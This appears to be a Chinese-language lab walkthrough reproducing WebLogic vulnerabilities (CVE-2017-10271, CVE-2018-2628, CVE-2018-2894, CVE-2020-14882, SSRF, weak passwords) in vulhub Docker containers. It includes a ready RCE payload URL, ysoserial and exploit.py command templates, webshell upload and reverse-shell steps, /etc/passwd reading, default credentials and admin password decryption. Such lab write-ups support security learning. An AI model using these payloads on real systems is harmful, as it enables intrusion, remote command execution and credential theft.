CVE-2017-10271
搭建环境
代码语言:javascript复制root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2017-10271
root@kali:~/vulhub/weblogic/CVE-2017-10271# docker-compose up -d
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)...
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve-2017-10271_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2017-10271# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1679f39e291b vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 14 hours ago Up 14 hours 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2017-10271_weblogic_1
当想进入另一个漏洞靶场时,需要先结束当前的漏洞靶场:
docker-compose down
当访问 http://ip:7001
存在下图时,说明 weblogic 已成功启动
漏洞复现
漏洞说明: Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 影响范围: 10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0 触发漏洞url: /wls-wsat/CoordinatorPortType11 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
首先初步判断,访问 http://ip:7001/wls-wsat/CoordinatorPortType11
存在下图,则说明可能存在漏洞
接着我们构造个POST包进行测试,写入文件,访问 http://ip:7001/wls-wsat/test.txt
可以发现成功写入test
然后构造好反弹shell的命令,使用nc监听4444端口,最终成功反弹
CVE-2018-2628
搭建环境
代码语言:javascript复制root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2018-2628
root@kali:~/vulhub/weblogic/CVE-2018-2628# docker-compose up -d
Creating network "cve-2018-2628_default" with the default driver
Creating cve-2018-2628_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2018-2628# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
863d3bf60dff vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" About a minute ago Up About a minute 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2018-2628_weblogic_1
漏洞复现
漏洞说明: Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。 影响范围: Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3
首先下载ysoserial,并启动一个JRMP Server
代码语言:javascript复制java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
//[listen port]表示JRMP Server监听的端口,CommonsCollections1表示jdk版本,[command]表示想要执行的命令
然后使用exploit.py脚本,向目标发送数据包
代码语言:javascript复制python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
//[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。
最后执行docker-compose exec weblogic bash
进入容器中,可见 /tmp/test
已成功创建
CVE-2018-2894
搭建环境
代码语言:javascript复制root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2018-2894
root@kali:~/vulhub/weblogic/CVE-2018-2894# docker-compose up -d
Pulling weblogic (vulhub/weblogic:12.2.1.3-2018)...
12.2.1.3-2018: Pulling from vulhub/weblogic
4040fe120662: Pull complete
5788a5fddf0e: Pull complete
88fc159ecf27: Pull complete
138d86176392: Pull complete
586a610c1c83: Pull complete
8362c571c14a: Pull complete
d4802e4ac1d2: Pull complete
Digest: sha256:8ddf63df92426e521e60c2db913602394a799921fb3919094aef012e3ad6b13f
Status: Downloaded newer image for vulhub/weblogic:12.2.1.3-2018
Creating cve-2018-2894_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2018-2894# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
bf277254cf96 vulhub/weblogic:12.2.1.3-2018 "/u01/oracle/createA…" 49 seconds ago Up 46 seconds 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2018-2894_weblogic_1
漏洞复现
漏洞说明: Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。 影响范围: Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3 触发漏洞url: /ws_utc/begin.do /ws_utc/config.do
访问http://ip:7001/ws_utc/config.do
,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
,点击提交
然后选择 Security - Add
上传Webshell
上传后,F12查找相对应的时间戳(也可通过burp抓包查看)
然后访问http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell
CVE-2020-14882
搭建环境
代码语言:javascript复制root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2020-14882
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker-compose up -d
Creating network "cve-2020-14882_default" with the default driver
Creating cve-2020-14882_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
22b203d090ef vulhub/weblogic:12.2.1.3-2018 "/u01/oracle/createA…" 9 seconds ago Up 8 seconds 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp cve-2020-14882_weblogic_1
漏洞复现
漏洞说明: Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 影响范围: Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0
这里我们直接用网上的poc,并通过创建文件的命令来测试该poc
代码语言:javascript复制/console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('你想执行的命令');");
最后执行docker-compose exec weblogic bash
进入容器中,可见 /tmp/test
已成功创建
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker-compose exec weblogic bash
[oracle@902b0d078b45 ~]$ ls /tmp
hsperfdata_oracle test wlstOfflineLogs_oracle wlstTemporacle
ssrf
搭建环境
代码语言:javascript复制root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/ssrf
root@kali:~/vulhub/weblogic/ssrf# docker-compose up -d
Pulling redis (vulhub/baselinux:centos-6)...
centos-6: Pulling from vulhub/baselinux
ff50d722b382: Pull complete
c1692ffee92d: Pull complete
bb55baebb63d: Pull complete
669dbd7f283f: Pull complete
cfe024e50ec9: Pull complete
Digest: sha256:47854618dcdc80eb14e92cff51f3eb728683cf177b8eabe91863d1d6889e5d64
Status: Downloaded newer image for vulhub/baselinux:centos-6
Creating ssrf_redis_1 ... done
Creating ssrf_weblogic_1 ... done
root@kali:~/vulhub/weblogic/ssrf# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cafc95cb2807 vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 21 minutes ago Up 21 minutes 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp ssrf_weblogic_1
8fad0fb37072 vulhub/baselinux:centos-6 "/docker-entrypoint.…" 21 minutes ago Exited (139) 21 minutes ago ssrf_redis_1
漏洞复现
漏洞说明: Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 影响范围: weblogic 10.0.2 - 10.3.6 触发漏洞url: /uddiexplorer/SearchPublicRegistries.jsp
SSRF漏洞存在于http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
(这里有参数传入的是url)
若报错显示 weblogic.uddi.client.structures.exception.XML_SoapException
,则说明存在此漏洞
接着我们探测端口,可访问的端口将会得到错误,一般是返回status code(如下图)
修改为一个不存在的端口,将会返回could not connect over HTTP to server
通过错误的不同,即可探测内网状态。
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)
然后就发现dockerfile可能出了啥问题,咕咕咕了~
weak_password
搭建环境
代码语言:javascript复制root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/weak_password
root@kali:~/vulhub/weblogic/weak_password# docker-compose up -d
Creating network "weak_password_default" with the default driver
Creating weak_password_weblogic_1 ... done
root@kali:~/vulhub/weblogic/weak_password# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c17dc9f3b2f1 vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 11 seconds ago Up 10 seconds 0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp weak_password_weblogic_1
漏洞复现
漏洞说明: 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
通过访问weblogic后台 http://ip:7001/console/login/LoginForm.jsp
可发现存在弱口令:weblogic/Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
当不存在弱口令时,我们还可以尝试任意文件下载来破解后台密码,通过访问http://ip:7001/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件
然后我们开始读取后台用户密文与密钥文件,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
其中SerializedSystemIni.dat
是一个二进制文件,必须得用burp来读取,如果直接用浏览器下载可能会引入一些干扰字符,在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:
config.xml
是base_domain的全局配置文件
最后使用工具weblogic_decrypt.jar,解密密文
后台上传shell
首先制作war包,将webshell压缩成zip格式,修改后缀名为war即可,然后我们上传war包,点击 Deployments - install - upload your file(s) - Browse - Next - Next - Next - Finish
,最后成功getshell